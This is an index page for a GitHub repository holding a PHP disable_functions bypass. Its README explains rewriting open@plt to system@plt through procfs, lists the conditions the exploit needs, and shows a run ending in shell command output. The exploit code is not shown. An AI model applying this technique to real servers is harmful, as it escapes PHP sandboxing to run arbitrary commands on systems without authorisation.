Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/beched/php_disable_functions_bypass
procfs-based PHP sandbox bypass
https://github.com/beched/php_disable_functions_bypass
Last synced: 22 days ago
JSON representation
procfs-based PHP sandbox bypass
- Host: GitHub
- URL: https://github.com/beched/php_disable_functions_bypass
- Owner: beched
- Created: 2015-04-25T16:20:27.000Z (over 9 years ago)
- Default Branch: master
- Last Pushed: 2018-09-19T15:16:47.000Z (about 6 years ago)
- Last Synced: 2024-08-05T17:32:26.015Z (4 months ago)
- Language: PHP
- Homepage:
- Size: 4.88 KB
- Stars: 133
- Watchers: 4
- Forks: 13
- Open Issues: 1
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
- awesome-hacking-lists - beched/php_disable_functions_bypass - procfs-based PHP sandbox bypass (PHP)
README
# PHP disable_functions bypass
Original topic on RDot forum (russian): https://rdot.org/forum/showthread.php?t=3309
This script exploits the possibility to write to procfs and rewrites the open@plt address with system@plt address. After that you can run shell commands with, for example, readfile(). Addresses are obtained automatically after ELF parsing of libc and php binary.
Conditions:
* Linux kernel version >= 2.98,
* PHP-CGI or PHP-FPM (modern Apache versions with mod_php call setuid, thus, there's no access to procfs),
* Linux x64 (you can adjust offsets to make it work on x32 system),
* open_basedir = Off (or you should be able to bypass it to read /lib and to read and write in /proc).Example of usage:
```
$ php procfs_bypass.php
[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)
[*] Trying to get open@plt offset in PHP binary
[+] Address is 0xe94998
[*] Libc location: /lib/x86_64-linux-gnu/libc-2.19.so
[*] Trying to get open and system symbols from Libc
[+] Got it. Seeking for address in memory
[*] open@plt addr: 0x7f150f86d150
[*] system@plt addr: 0x7f150f7c7530
[*] Rewriting open@plt address
[+] Address written. Executing cmd
uid=1000(beched) gid=1000(beched) группы=1000(beched),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),110(sambashare)
```